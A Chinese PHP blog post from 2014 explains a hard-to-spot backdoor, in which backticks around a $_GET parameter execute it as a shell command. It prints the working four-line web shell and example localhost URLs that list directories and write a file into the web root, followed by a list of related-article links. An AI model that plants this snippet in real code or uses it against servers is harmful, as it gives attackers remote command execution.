一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
不用数据库的多用户文件自由上传投票系统(3)
Oct 09 PHP
一个更简单的无限级分类菜单代码
Jan 16 PHP
用PHP的超级变量$_GET获取HTML表单(Form) 数据
May 07 PHP
PHP 小心urldecode引发的SQL注入漏洞
Oct 27 PHP
php面向对象 字段的声明与使用
Jun 14 PHP
解析PHP中empty is_null和isset的测试
Jun 29 PHP
在PHP中运行Linux命令并启动SSH服务的例子
Jun 12 PHP
php中常见的sql攻击正则表达式汇总
Nov 06 PHP
PHP遍历XML文档所有节点的方法
Mar 12 PHP
浅谈php处理后端&接口访问超时的解决方法
Oct 29 PHP
PHP命名空间namespace的定义方法详解
Mar 29 PHP
php设计模式之适配器模式原理、用法及注意事项详解
Sep 24 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
基于mysql的bbs设计(五)
2006/10/09 PHP
简单的PHP图片上传程序
2008/03/27 PHP
两种设置php载入页面时编码的方法
2014/07/29 PHP
10个php函数实用却不常见
2015/10/13 PHP
PHP通过CURL实现定时任务的图片抓取功能示例
2016/10/03 PHP
PHP屏蔽关键字实现方法
2016/11/17 PHP
2017年最新PHP经典面试题目汇总(上篇)
2017/03/17 PHP
PHP 面向对象程序设计之类属性与类常量实现方法分析
2020/04/13 PHP
建议大家看下JavaScript重要知识更新
2007/07/08 Javascript
javascript中的变量是传值还是传址的?
2010/04/19 Javascript
jquery中this的使用说明
2010/09/06 Javascript
使用Javascript接收get传递的值的代码
2011/11/30 Javascript
jQuery 过滤not()与filter()实例代码
2012/05/10 Javascript
JS+CSS实现的经典圆角下拉菜单效果代码
2015/10/21 Javascript
BootstrapTable+KnockoutJS自定义T4模板快速生成增删改查页面
2016/08/01 Javascript
详解使用vuex进行菜单管理
2017/12/21 Javascript
10 种最常见的 Javascript 错误(频率最高)
2018/02/08 Javascript
深入浅析Vue全局组件与局部组件的区别
2018/06/15 Javascript
Vue中axios的封装(报错、鉴权、跳转、拦截、提示)
2019/08/20 Javascript
python的常见命令注入威胁
2013/02/18 Python
同时安装Python2 & Python3 cmd下版本自由选择的方法
2017/12/09 Python
Python3爬虫之urllib携带cookie爬取网页的方法
2018/12/28 Python
python实现爬山算法的思路详解
2019/04/09 Python
django ManyToManyField多对多关系的实例详解
2019/08/09 Python
python图片剪裁代码(图片按四个点坐标剪裁)
2020/03/10 Python
Python3将ipa包中的文件按大小排序
2020/04/17 Python
python利用文件时间批量重命名照片和视频
2021/02/09 Python
APM Monaco中国官网:来自摩纳哥珠宝品牌
2017/12/27 全球购物
delegate与普通函数的区别
2014/01/22 面试题
中学生爱国演讲稿
2013/12/31 职场文书
个人简历自我评价
2014/01/06 职场文书
青年教师典范事迹材料
2014/01/31 职场文书
广播体操口号
2014/06/18 职场文书
工作所在部门证明
2014/09/21 职场文书
检讨书怎么写
2015/01/23 职场文书
python解析json数据
2022/04/29 Python